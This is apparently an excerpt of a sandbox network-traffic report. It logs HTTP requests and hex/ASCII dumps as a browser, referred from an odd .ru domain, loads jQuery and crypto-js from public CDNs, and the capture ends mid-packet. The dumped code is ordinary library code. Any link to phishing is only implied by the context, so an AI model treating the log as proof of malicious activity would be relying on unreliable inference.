2025-03-25 17:08:02 UTC	1369	IN	Data Raw: 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b Data Ascii: 76g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk

Timestamp	Bytes transferred	Direction	Data
2025-03-25 17:08:03 UTC	663	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://nz.freshmnind.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 17:08:03 UTC	565	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-Ranges: bytes Date: Tue, 25 Mar 2025 17:08:03 GMT Via: 1.1 varnish Age: 1591466 X-Served-By: cache-lga21926-LGA X-Cache: HIT X-Cache-Hits: 1878 X-Timer: S1742922484.585843,VS0,VE0 Vary: Accept-Encoding
2025-03-25 17:08:03 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-25 17:08:03 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-03-25 17:08:03 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2025-03-25 17:08:03 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2025-03-25 17:08:03 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2025-03-25 17:08:03 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-03-25 17:08:03 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-03-25 17:08:03 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-03-25 17:08:03 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2025-03-25 17:08:03 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Timestamp	Bytes transferred	Direction	Data
2025-03-25 17:08:03 UTC	691	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://nz.freshmnind.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 17:08:03 UTC	964	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 17:08:03 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 361298 Expires: Sun, 15 Mar 2026 17:08:03 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K3QRMrPriXz3q%2BweeqDTnaX087Q6cuOJzczGvlnATBrzFHw1AZUfXXeJo7gJ8EXuZM2CwFp64P8kyXmh%2BeB9Mi8OT%2FTGUcY%2FjajQUYh%2FqMYYY47Vn2YwBm2UMGatyisGBlyw%2FvQh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 92600212e9f7176c-EWR alt-svc: h3=":443"; ma=86400
2025-03-25 17:08:03 UTC	405	IN	Data Raw: 37 62 65 64 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bed!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-25 17:08:03 UTC	1369	IN	Data Raw: 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 Data Ascii: typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Objec
2025-03-25 17:08:03 UTC	1369	IN	Data Raw: 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d Data Ascii: lone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.random
2025-03-25 17:08:03 UTC	1369	IN	Data Raw: 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d Data Ascii: "==typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=
2025-03-25 17:08:03 UTC	1369	IN	Data Raw: 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b Data Ascii: {for(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[
2025-03-25 17:08:03 UTC	1369	IN	Data Raw: 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 Data Ascii: ?1:0;for(r=0;r<8;r++){var 